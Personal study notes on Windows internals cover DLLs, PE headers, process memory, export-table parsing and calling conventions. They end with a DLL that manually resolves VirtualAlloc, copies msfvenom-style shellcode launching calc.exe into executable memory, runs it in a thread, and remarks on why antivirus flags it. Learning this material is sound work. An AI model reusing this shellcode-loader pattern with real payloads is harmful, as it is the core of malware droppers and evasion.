DLL

A compiled binary that contains code + data which is not a standalone program, but is meant to be loaded into another process.

EXE	DLL
Has main() / WinMain()	No main function
Can run by itself	Cannot run alone
Owns the process	Lives inside a process
Entry: process start	Entry: load/unload events
Entry point is:

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
);

DllMain:

PROCESS_ATTACH   → DLL loaded
PROCESS_DETACH   → DLL unloaded
THREAD_ATTACH    → new thread
THREAD_DETACH    → thread exits

Dll minimal:

#include <windows.h>

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD reason,
    LPVOID reserved
) {
    if (reason == DLL_PROCESS_ATTACH) {
        MessageBoxA(NULL, "DLL Loaded!", "Hello", MB_OK);
    }
    return TRUE;
}

DllMain is dangerous if abused:

• No heavy logic

• No threads

• No LoadLibrary inside DllMain

• No network

• No malloc-heavy stuff

Why? Because the loader lock is held. DLL is just a PE as : It contains:

• DOS header

• NT headers

• Sections:

  • .text → code

  • .rdata → constants

  • .data → globals

  • .idata → imports

  • .edata → exports

  • .reloc → relocations DLL-specific difference:

• Has an Export Table

• No entry like main

• Marked as IMAGE_FILE_DLL

How dlls are loaded:

Load Time Linking:

You link against a .lib at compile time. Behind the scenes:

• EXE imports user32.dll

• Windows loads it automatically

Runtime loading (explicit)

This is where things get interesting.

HMODULE h = LoadLibraryA("user32.dll");

FARPROC f = GetProcAddress(h, "MessageBoxA");

typedef int (WINAPI *MsgBox)(
    HWND, LPCSTR, LPCSTR, UINT
);

MsgBox msg = (MsgBox)f;
msg(NULL, "Hi", "Loaded dynamically", MB_OK);

Manual mapping (advanced, later)

• No LoadLibrary

• No Windows loader

• You manually map sections, relocations, imports

How dlls export functions

__declspec(dllexport)
int add(int a, int b) {
    return a + b;
}

or using .def :

EXPORTS
	add

Then one can call via:

GetProcAddress(hDll, "add");

stack goes:

Your EXE
 └─ kernel32.dll
     └─ kernelbase.dll
         └─ ntdll.dll
             └─ syscall → kernel

Rust does:

use winapi::um::libloaderapi::{LoadLibraryA, GetProcAddress};
use std::ffi::CString;

unsafe {
    let lib = LoadLibraryA(CString::new("user32.dll").unwrap().as_ptr());
    let proc = GetProcAddress(lib, CString::new("MessageBoxA").unwrap().as_ptr());

    let msg: extern "system" fn(
        *mut std::ffi::c_void,
        *const i8,
        *const i8,
        u32
    ) -> i32 = std::mem::transmute(proc);

    msg(std::ptr::null_mut(), b"Hi\0".as_ptr() as _, b"Rust\0".as_ptr() as _, 0);
}

Process:

Phase 1 – Basics

• What is a process

• What is virtual memory

• What is a PE file

• EXE vs DLL

Phase 2 – WinAPI + DLL

• LoadLibrary / GetProcAddress

• Export tables

• Dependency Walker

• PE headers

Phase 3 – Loader internals

• ntdll

• LdrLoadDll

• Import resolution

• Relocations

Phase 4 – Advanced

• Manual mapping

• Reflective DLLs

• IAT/EAT hooking

Phase 1

Process

Whenever we create a process windows does:

• creates a process object (kernel)

• creates a Virtual Address Space

• maps the exe into the memory

• maps required DLL

• sets up threads

• Transfers execution to code A process is a container.

Every process gets:

• Its own virtual address space

• Its own loaded DLLs

• Its own heap(s)

• Its own stack(s) Two processes can load the same dll but virtual address may differ and physical pages maybe shared {copy-on-write}

This is what it looks like:

0x0000000000000000  ──> NULL / guard
0x0000000000400000  ──> EXE image
0x0000000010000000  ──> Heap(s)
0x0000000020000000  ──> DLLs (kernel32, user32, etc)
0x00007FFxxxxxxxxx  ──> ntdll.dll
0x00007FFFxxxxxxxx  ──> Stack (grows downward)

Virutal Memory says:

Addresses are lies backed by page tables.

Each process believes: "I own memory from 0x0 to 0x7FFFFFFFFFFF"

• The kernel translates virtual → physical

• Processes cannot see each other’s memory

• Same virtual address ≠ same physical memory So thats why:

• Crashes don’t kill the OS

• Malware needs injection

• DLLs are mapped, not copied

What does windows process contains:

User land:

• EXE image

• Loaded Dlls

• Heaps

• Stacks

• TLS

• PEB

Kernel land:

• EPROCESS

• Handle table

• security token

• thread objects

PEB

Which every user-mode process has: The PEB contains:

• Process parameters

• Loaded module list

• Heap pointers

• OS version info

• BeingDebugged flag 👀

This is where:

• Loaders find DLLs

• Malware hides modules

• Tools enumerate loaded libraries PEB lives at:

GS:[0x60]  (x64)
FS:[0x30]  (x86)

Threads

A process does nothing without threads. Each thread has:

• Stack

• Registers

• TEB (Thread Environment Block)

TEB contains:

• Thread ID

• TLS

• Pointer to PEB

Where do DLLs live:

DLLs are:

• Mapped into the process address space

• Stored as memory-mapped PE images

• Listed in the PEB loader data

Each DLL:

• Has a base address

• Has sections mapped (.text, .data, etc)

• Has imports resolved

Memory

Windows memory is managed in pages.

• Page size (x64): 4 KB

• Everything happens page-by-page

• Protection is page-level

Page states

• Free – unused

• Reserved – address space claimed

• Committed – backed by RAM / pagefile

Memory protection flags

Flag	Meaning
PAGE_READONLY	Read
PAGE_READWRITE	Read + write
PAGE_EXECUTE	Execute
PAGE_EXECUTE_READ	Execute + read
PAGE_EXECUTE_READWRITE	RWX (dangerous)

.text → EXECUTE_READ
.data → READWRITE

Stack

• One per thread

• Grows downward

• Fast

• Fixed size (mostly)

• Stores local variables, return addresses

Heap

• Shared per process

• Grows upward

• Managed by allocator

• Used for dynamic memory

DLLs can:

• Use process heap

• Create private heaps

• Use TLS (thread-local storage)

VirtualAlloc (why it exists)

C/C++ malloc()

• Uses heap

• You don’t control pages directly

VirtualAlloc():

• Talks directly to the VM manager

• Reserves and commits pages

• Controls protection flags Manual loaders, shellcode, and mappers require this.

VirtualAlloc(
    NULL,
    0x1000,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

What is a PE file really?

A PE (Portable Executable) is just a file format. Nothing more. Nothing magical.

Windows doesn’t “run code” — it parses a PE and maps it. What windows sees:

[ DOS Header ]
[ NT Headers ]
[ Section Table ]
[ Sections (.text, .data, ...) ]

DOS headers

Every PE starts with:

MZ

This is the IMAGE_DOS_HEADER for backward compatibility

e_lfanew → offset to NT headers

NT Headers

base + e_lfanew

• PE signature: PE\0\0

• File header

• Optional header (misnamed, it’s mandatory) This tells Windows:

• x86 or x64

• EXE or DLL

• Entry point

• Image size

• Subsystem

• Data directories

Optional Header

This is where the loader gets its marching orders

Field	Meaning
ImageBase	Preferred load address
AddressOfEntryPoint	Where execution starts
SizeOfImage	Total memory size
SectionAlignment	Memory alignment
FileAlignment	Disk alignment
DataDirectory	Imports, exports, relocations

Section table

Each section entry tells:

• Name

• Virtual size

• Virtual address

• Raw size

• Raw file offset

• Characteristics

EXE vs DLL (PE-level difference)

Structurally:

They are almost identical

Feature	EXE	DLL
IMAGE_FILE_DLL flag	❌	✅
Entry point meaning	Process start	DllMain
Can be root image	✅	❌
Export table required	❌	Usually

Code-A-Code

We create a dll and an exe and see how they are loaded , we load the dll with the help of EXE:

DLL

The dll just pops a message box

#include "pch.h" // if you are in visual studio
#include <windows.h>
#include <iostream>

BOOL WINAPI DllMain(HINSTANCE hInstDll,DWORD reason, LPVOID reserved)
{
	if (reason == DLL_PROCESS_ATTACH)
	{
		MessageBoxA(NULL,"Dll Loaded!!","My-Dll",MB_OK);
	}
	return TRUE;
}
// extern C is for preventing name mangling
// __declspec says put this function to export table i.e some other exe might use it so it needs to be ready for export
extern "C" __declspec(dllexport)
int Add(int a,int b)
{
	return a+b;
}

EXE

#include <windows.h>
#include <iostream>

typedef int (*AddFunc)(int,int);
int main() {
	HMODULE hDll = LoadLibraryA("mydll.dll");
		if (!hDll){
			std::cout << "Unable to load dll make sure its in the same dir as exe" << std::endl;
			return 1;
	}
	
	AddFunc Add = (AddFunc)GetProcAddress(hDll,"Add");
	if (!Add){
		std::cout << "Failed to find the function" << std::endl;
		return 1; 
	}
	int result = Add(5,7);
	std::cout << "Result: " << result << std::endl;
	FreeLibrary(hDll);
	return 0;
}

short explaination

LoadLibraryA("expdll.dll");

Windows:

1. Maps the DLL into memory

2. Fixes relocations (ASLR)

3. Resolves imports

4. Makes exports available Now the DLL is loaded as an IMAGE, not a raw file.

HMODULE == Base address of mapped image

So this is correct:

BYTE* base = (BYTE*)hModule;

Import table (how functions are found)

The import table tells Windows:

“I need these functions from these DLLs”

Example:

kernel32.dll
  ├─ LoadLibraryA
  ├─ GetProcAddress

Loader:

1. Loads required DLL

2. Finds exported functions

3. Writes addresses into IAT

4. Code calls via IAT

Export table (how DLLs expose functions)

DLLs expose functions via export table. Exports can be:

• Named

• Ordinal-based

• Forwarded This is what GetProcAddress() reads.

Relocation table (why memory matters)

Relocations fix:

• Absolute addresses

• When DLL isn’t loaded at preferred base

If .reloc is missing and ASLR happens: [X] Load fails Manual loaders must apply relocations manually.

Entry Point

Exe:

AddressOfEntryPoint → CRT startup → main()

Dll:

AddressOfEntryPoint → DllMain()

Imagine:

• EXE loads

• Needs user32.dll

• user32 needs win32u.dll

Loader:

• Maps EXE

• Walks import table

• Loads dependencies recursively

• Resolves everything before first instruction runs

---

NOTE: when we double click the exe and open it -> explorer opens it. While from cmdline parent process is powershell or cmd. But why explorer.exe spawn a black cmd and when we kill it , msg box disappears? [ANS] The loader.exe is a Console subsystem application. That means in the PE Optional Header:

Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI

When you double-click a console app from Explorer:

• Explorer sees it’s a console program

• It creates a new console window (conhost.exe)

• Your process attaches to that console So the black window is not cmd.exe. Its:

conhost.exe

Parent process is simply whoever called CreateProcess.

---

Also note in process explorer we see these many dlls being loaded which are not in the dependency walker of both: loader.exe and mydll.dll:

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
loader.exe	< 0.01	1,716 K	9,156 K	38364		

Process: loader.exe Pid: 38364

Name	Description	Company Name	Path
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
<Pagefile Backed>			<Pagefile Backed>
C_1252.NLS			C:\Windows\System32\C_1252.NLS
C_1252.NLS			C:\Windows\System32\C_1252.NLS
C_437.NLS			C:\Windows\System32\C_437.NLS
C_437.NLS			C:\Windows\System32\C_437.NLS
combase.dll	Microsoft COM for Windows	Microsoft Corporation	C:\Windows\System32\combase.dll
ExpDll.dll			C:\Users\HP\source\repos\loader\x64\Debug\ExpDll.dll
gdi32.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\System32\gdi32.dll
gdi32full.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\System32\gdi32full.dll
imm32.dll	Multi-User Windows IMM32 API Client DLL	Microsoft Corporation	C:\Windows\System32\imm32.dll
kernel32.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\System32\kernel32.dll
KernelBase.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\System32\KernelBase.dll
l_intl.nls			C:\Windows\System32\l_intl.nls
l_intl.nls			C:\Windows\System32\l_intl.nls
loader.exe			C:\Users\HP\source\repos\loader\x64\Debug\loader.exe
locale.nls			C:\Windows\System32\locale.nls
msctf.dll	MSCTF Server DLL	Microsoft Corporation	C:\Windows\System32\msctf.dll
msvcp_win.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\msvcp_win.dll
msvcp140d.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\msvcp140d.dll
msvcrt.dll	Windows NT CRT DLL	Microsoft Corporation	C:\Windows\System32\msvcrt.dll
ntdll.dll	NT Layer DLL	Microsoft Corporation	C:\Windows\System32\ntdll.dll
rpcrt4.dll	Remote Procedure Call Runtime	Microsoft Corporation	C:\Windows\System32\rpcrt4.dll
SortDefault.nls			C:\Windows\Globalization\Sorting\SortDefault.nls
StaticCache.dat			C:\Windows\Fonts\StaticCache.dat
TextShaping.dll	Microsoft Text Shaping Library	Microsoft Corporation	C:\Windows\System32\TextShaping.dll
ucrtbase.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\ucrtbase.dll
ucrtbased.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\ucrtbased.dll
user32.dll	Multi-User Windows USER API Client DLL	Microsoft Corporation	C:\Windows\System32\user32.dll
uxtheme.dll	Microsoft UxTheme Library	Microsoft Corporation	C:\Windows\System32\uxtheme.dll
vcruntime140_1d.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\vcruntime140_1d.dll
vcruntime140d.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\System32\vcruntime140d.dll
win32u.dll	Win32u	Microsoft Corporation	C:\Windows\System32\win32u.dll

![[Pasted image 20260212003248.png]] Dependency Walker shows:

Static imports only.

Process Explorer shows:

Everything actually loaded at runtime.

Static vs Dynamic loading

Static imports

These are inside .idata section of PE. Example:

• kernel32.dll

• user32.dll These appear in Dependency Walker.

Dynamic loads (runtime)

Some DLLs are loaded:

• By the CRT

• By user32 internally

• By COM

• By Windows itself

• By debug runtime

• By NLS (localization) EG:

combase.dll
msctf.dll
gdi32full.dll
win32u.dll

<Pagefile Backed>

These are:

• Heaps

• Stacks

• Allocations

• Memory-mapped regions

.NLS file

C_1252.NLS
locale.nls
SortDefault.nls

These are:

• National Language Support files

• Loaded by Windows for encoding / locale support They are memory-mapped data files.

Export Table Internals

We are going to answer:

How does Windows find "Add" inside your DLL?

Inside every DLL that exports functions there is:

IMAGE_EXPORT_DIRECTORY

This structure lives inside the PE’s Data Directory. In Optional Header:

OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]

This gives you:

• RVA of export table

• Size note: RVA means relative virtual address {comes after be patient}

What the Export Directory Contains

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA array
    DWORD   AddressOfNames;         // RVA array
    DWORD   AddressOfNameOrdinals;  // WORD array
} IMAGE_EXPORT_DIRECTORY;

AddressOfFunctions

Array of RVAs.

• Index = ordinal - Base Gives you:

Function RVA

AddressOfNames

Array of RVAs to ASCII strings:

"Add"
"Subtract"
"Whatever"

AddressOfNameOrdinals

Array of WORDs. Maps:

Name index → Function index

How GetProcAddress Works (Simplified)

When we call:

GetProcAddress(hDll, "Add");

Windows does roughly:

1. Get base address (HMODULE)

2. Find NT headers

3. Locate export directory

4. Iterate names:

   • Compare string with "Add"

5. Get corresponding ordinal

6. Use ordinal to index into AddressOfFunctions

7. Compute:

FunctionAddress = Base + FunctionRVA

1. Return pointer

Very Important Concept — RVA

RVA = Relative Virtual Address It is:

Offset from image base in memory

To comvert:

RealAddress = Base + RVA

Everything in PE tables is an RVA.

Let's parse it manually:

We add this function to the loader code:

#include <windows.h>
#include <iostream>

void PrintExports(HMODULE hModule)
{
    BYTE* base = (BYTE*)hModule;

    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);

    IMAGE_DATA_DIRECTORY exportDirData =
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    IMAGE_EXPORT_DIRECTORY* exportDir =
        (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);

    DWORD* nameRVAs = (DWORD*)(base + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);

    std::cout << "Exports:\n";

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++)
    {
        char* funcName = (char*)(base + nameRVAs[i]);
        WORD ordinalIndex = ordinals[i];
        DWORD funcRVA = functions[ordinalIndex];

        void* funcAddress = base + funcRVA;

        std::cout << funcName << " at " << funcAddress << "\n";
    }
}

This code crashes why?: ft chatgpt: find it here: [[Dlls support paper]] Correct code:

#include <windows.h>
#include <iostream>

void PrintExports(HMODULE hModule)
{
    if (!hModule) return;

    BYTE* base = (BYTE*)hModule;
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;

#ifdef _WIN64
    IMAGE_NT_HEADERS64* nt = (IMAGE_NT_HEADERS64*)(base + dos->e_lfanew);
#else
    IMAGE_NT_HEADERS32* nt = (IMAGE_NT_HEADERS32*)(base + dos->e_lfanew);
#endif

    IMAGE_DATA_DIRECTORY exportData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportData.VirtualAddress == 0) return;

    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportData.VirtualAddress);

    // --- RE-ADD THESE MISSING VARIABLES ---
    DWORD exportStart = exportData.VirtualAddress;
    DWORD exportEnd = exportStart + exportData.Size;

    DWORD* nameRVAs = (DWORD*)(base + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);

    std::cout << "\n=== EXPORTS FOR: " << (char*)(base + exportDir->Name) << " ===\n";

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++)
    {
        char* funcName = (char*)(base + nameRVAs[i]);
        WORD funcIndex = ordinals[i];

        if (funcIndex >= exportDir->NumberOfFunctions) continue;

        DWORD funcRVA = functions[funcIndex];

        std::cout << funcName << " [Ordinal: " << funcIndex + exportDir->Base << "] -> ";

        // Check if the RVA points INSIDE the export directory (Forwarder)
        if (funcRVA >= exportStart && funcRVA < exportEnd)
        {
            char* forwardStr = (char*)(base + funcRVA);
            std::cout << "Forwarded to: " << forwardStr;
        }
        else
        {
            // Print actual memory address
            std::cout << (void*)(base + funcRVA);
        }
        std::cout << "\n";
    }
}
typedef int (*AddFunc)(int, int);

int main() {
	HMODULE hDll = LoadLibraryA("expdll.dll");
	if (!hDll) {
		std::cout << "Failed to load dll\n";
		return 1;
	}
	AddFunc Add = (AddFunc)GetProcAddress(hDll, "Add");
	if (!Add)
	{
		std::cout << "Failed to find function\n";
		return 1;
	}
	int result = Add(5, 7);
	std::cout << "Result: " << result << std::endl;
    PrintExports(hDll);
	FreeLibrary(hDll);
	return 0;
}

Search Order and a simple loader

LoadLibraryA("msg.dll") searches in:

1. The executable directory

2. System32

3. Windows directory

4. Current working directory

5. PATH

Calling convention:

A calling convention is a contract between:

• The caller (your Rust EXE)

• The callee (your DLL function) It defines:

1. How arguments are passed

2. Where return value goes

3. Who cleans the stack

4. Which registers must be preserved Talking about thread stack

__cdecl

Used by default in C. Rule: 👉 Caller cleans the stack

push arg2
push arg1
call MyFunction
add esp, 8     ; caller removes arguments

__stdcall

Used by WinAPI. Rule: 👉 Callee cleans the stack

push arg2
push arg1
call MyFunction
; no add esp here

Caller thinks:

"Callee will clean the stack."

But callee thinks:

"Caller will clean the stack."

Result:

No one cleans it.

Stack pointer is wrong. Return address becomes wrong. CPU jumps to garbage. Crash: 0xc0000005

Cleaning means:

Move stack pointer back to where it was before arguments were pushed.

Why RVA:

This is what we did:

• Locate export directory

• Iterate name array

• Match string

• Get ordinal

• Get function RVA

• Compute address = base + RVA

Security tools often hook:

• LoadLibrary

• GetProcAddress

• VirtualAlloc

• CreateRemoteThread

When windows loads dlls it might load different every time but it RVA remains the same.

What Is Shellcode?

Shellcode is:

Small, position-independent machine code designed to execute inside another process.

Historically it was used to spawn a shell (hence the name), but today it simply means:

• Raw executable bytes

• No PE header

• No loader

• No import table

• No runtime support

• Just instructions

How Is Shellcode Different From a DLL or EXE?

A normal DLL:

• Has PE headers

• Has import table

• Has export table

• Gets loaded by Windows loader

• Imports resolved automatically

Shellcode:

• Has none of that

• Is just bytes

• Gets copied into memory

• CPU jumps into it

• It must resolve everything itself

How Is Shellcode Created?

Conceptually:

1. Write position-independent assembly

2. Assemble it

3. Extract raw machine bytes

4. Embed those bytes somewhere

Unlike a DLL, shellcode has:

• no PE header

• no import table

• no relocation section

• no loader metadata

It must resolve everything itself.

That’s why earlier we talked about:

• PEB walking

• Export parsing

• Manual resolution

Because shellcode doesn’t get help from Windows loader.

Important Concept: Memory Protections

Modern OSes use:

• DEP (Data Execution Prevention)

• NX bit (Non-Executable memory)

On Windows x64:

• RCX → 1st argument

• RDX → 2nd argument

• R8 → 3rd

• R9 → 4th Return value → RAX

So assembly for : return a + b;

mov eax ecx ; move first argument into eax
add eax edx ; add with second
ret

machine code:

8B C1        ; mov eax, ecx
03 C2        ; add eax, edx
C3           ; ret

so it goes in cpp as:

0x8B, 0xC1,
0x03, 0xC2,
0xC3

code becomes:

extern "C" __declspec(dllexport)
int LaunchPayload(int a, int b)
{
    unsigned char code[] = {
        0x8B, 0xC1,  // mov eax, ecx
        0x03, 0xC2,  // add eax, edx
        0xC3         // ret
    };

    void* execMem = VirtualAlloc(
        nullptr,
        sizeof(code),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!execMem)
        return -1;

    memcpy(execMem, code, sizeof(code));

    typedef int (*AddFunc)(int, int);
    AddFunc func = (AddFunc)execMem;

    int result = func(a, b);

    VirtualFree(execMem, 0, MEM_RELEASE);

    return result;
}

Executing calc.exe:

Step 1: No shellcode:

#include <windows.h>
#include <iostream>

// --- Your Custom PE Parser ---
// This function manually walks the Export Directory of a DLL
void* GetProcAddressManual(HMODULE hModule, const char* funcName) {
    BYTE* base = (BYTE*)hModule;
    auto dos = (IMAGE_DOS_HEADER*)base;
    
    // Check for valid DOS Header
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr;

    auto nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
    auto exportDirRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    if (!exportDirRVA) return nullptr;

    auto exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirRVA);

    // Get pointers to the Three Kings of the Export Table
    DWORD* names = (DWORD*)(base + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        const char* name = (char*)(base + names[i]);
        
        // Compare the name we found with the one we want
        if (strcmp(name, funcName) == 0) {
            WORD ordinal = ordinals[i];
            // The function address is an RVA, so we add the base address to it
            return (void*)(base + functions[ordinal]);
        }
    }
    return nullptr;
}

// --- The Launcher ---
void LaunchCalc() {
    // 1. Get the base address of kernel32.dll (already loaded in every process)
    HMODULE hK32 = GetModuleHandleA("kernel32.dll");
    if (!hK32) return;

    // 2. Define a function pointer that matches the signature of WinExec
    // UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);
    typedef UINT (WINAPI *pWinExec)(LPCSTR, UINT);

    // 3. Use your manual function to find WinExec
    pWinExec myWinExec = (pWinExec)GetProcAddressManual(hK32, "WinExec");

    if (myWinExec) {
        std::cout << "[+] Found WinExec at: " << myWinExec << std::endl;
        std::cout << "[+] Launching Calculator..." << std::endl;
        
        // 4. Call it!
        myWinExec("calc.exe", SW_SHOW);
    } else {
        std::cout << "[-] Could not find the function." << std::endl;
    }
}

int main() {
    LaunchCalc();
    return 0;
}

Step 2: shellcode:

#include "pch.h"
#include <windows.h>
#include <cstring>
#include <iostream>

// Manual RVA lookup logic (Your implementation is correct, just ensuring headers)
void* GetProcAddressRVA(HMODULE hModule, const char* funcName) {
    BYTE* base = (BYTE*)hModule;
    auto dos = (IMAGE_DOS_HEADER*)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr;

    auto nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
    auto exportDirRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exportDirRVA) return nullptr;

    auto exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirRVA);
    DWORD* names = (DWORD*)(base + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions);

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        const char* name = (char*)(base + names[i]);
        if (strcmp(name, funcName) == 0) {
            WORD ordinal = ordinals[i];
            return (void*)(base + functions[ordinal]);
        }
    }
    return nullptr;
}

extern "C" __declspec(dllexport)
int LaunchPayload()
{
    // Ensure we have a handle to kernel32
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    if (!hKernel32) return -1;

    typedef LPVOID(WINAPI* P_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    P_VirtualAlloc pVirtualAlloc = (P_VirtualAlloc)GetProcAddressRVA(hKernel32, "VirtualAlloc");

    if (!pVirtualAlloc) return -1;

    // x64 Calc Shellcode (Standard MSFVenom style for testing)
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
        "\x63\x2e\x65\x78\x65\x00";

    void* execMem = pVirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!execMem) return -1;

    memcpy(execMem, shellcode, sizeof(shellcode));

    // Creating the thread
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    return 0;
}

Now this shellcode will be flagged as harmful why?:

• The "Egg Hunter" Pattern: Most shellcodes start by looking for the PEB (Process Environment Block) to find kernel32.dll in memory. This specific assembly sequence (\x65\x48\x8b\x52\x60) is a massive "red flag" for AV/EDR because legitimate programs almost never do this.